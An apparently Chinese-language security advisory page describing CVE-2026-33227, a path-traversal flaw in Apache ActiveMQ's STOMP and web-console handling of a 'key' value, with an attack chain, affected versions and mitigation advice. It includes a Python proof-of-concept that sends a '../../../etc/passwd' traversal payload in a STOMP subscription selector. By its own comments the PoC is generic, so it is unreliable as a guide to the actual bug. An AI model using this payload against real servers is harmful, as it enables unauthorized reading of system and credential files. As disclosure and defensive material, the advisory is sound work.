IPBUF安全漏洞报告
English
CVE-2026-33227 CVSS 4.3 中危

CVE-2026-33227 Apache ActiveMQ类路径遍历漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-33227
漏洞类型
路径遍历
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache ActiveMQ (Client, Broker, All, Web)

相关标签

路径遍历Apache ActiveMQ信息泄露CWE-22资源加载

漏洞概述

Apache ActiveMQ存在类路径路径名验证不当漏洞。在创建Stomp消费者或通过Web控制台浏览消息时,经过身份认证的用户可以通过构造特殊的“key”值利用路径拼接遍历类路径。该漏洞导致应用程序暴露于类路径资源加载风险中,攻击者可能读取敏感资源并将其与其他攻击链结合,从而造成更严重的安全影响。

技术细节

该漏洞的根本原因在于Apache ActiveMQ在处理特定用户输入时,未能正确验证和限制类路径名称。具体场景包括创建Stomp消费者以及在Web控制台浏览消息时,应用程序将用户提供的“key”值直接与文件路径进行拼接。由于缺乏对路径遍历字符(如“../”)的有效过滤,具备低权限的认证攻击者可以构造恶意输入,绕过当前目录限制,访问服务器类路径下的任意资源文件。虽然该漏洞的直接表现为资源读取(信息泄露),但攻击者可利用此漏洞读取配置文件或密钥,进而与其他漏洞(如反序列化漏洞)组合,实现远程代码执行或权限提升。值得注意的是,部分中间修复版本在Windows环境下仍受路径分隔符解析问题影响。

攻击链分析

STEP 1
1
攻击者获取ActiveMQ的低权限账户凭据,通过Stomp协议或Web控制台进行身份认证。
STEP 2
2
攻击者在创建Stomp消费者或浏览消息时,在“key”参数中注入路径遍历Payload(如“../../”),试图拼接类路径以访问敏感资源。
STEP 3
3
服务器端未对“key”值进行充分校验,将其直接用于路径构建,导致类路径下的资源文件被读取。
STEP 4
4
攻击者利用读取到的敏感信息(如数据库凭证、加密密钥),结合其他漏洞进一步提权或执行代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import stomp # Target configuration target_host = '192.168.1.100' target_port = 61613 username = 'user' password = 'password' # Connect to ActiveMQ Stomp interface conn = stomp.Connection([(target_host, target_port)]) conn.connect(username, password, wait=True) # Vulnerability Explanation: # The application does not properly validate the 'key' parameter used in message selectors. # By injecting path traversal sequences (e.g., '../../'), an attacker can read files from the classpath. # Malicious payload attempting to read a configuration file from the classpath # The exact payload depends on the specific endpoint and classpath structure malicious_key = "../../../etc/passwd" # Example: SUBSCRIBE frame with a selector containing the traversal payload # In a real scenario, this might be part of a message header or consumer configuration headers = { 'selector': f"key = '{malicious_key}'", 'activemq.prefetchSize': '1' } try: # Send a subscription request that triggers the vulnerable path concatenation conn.subscribe(destination='/queue/TestQueue', id='1', headers=headers) print("[+] PoC sent: Malicious subscription request with path traversal payload.") print("[+] Check application response or server logs for file content inclusion.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: conn.disconnect()

影响范围

Apache ActiveMQ < 5.19.3
6.0.0 <= Apache ActiveMQ < 6.2.2

防御指南

临时缓解措施
建议尽快升级至官方修复版本。在升级前,应严格限制对管理接口和消息协议端口的访问权限,确保仅授权用户可以访问,并监控异常的文件读取请求或类路径访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表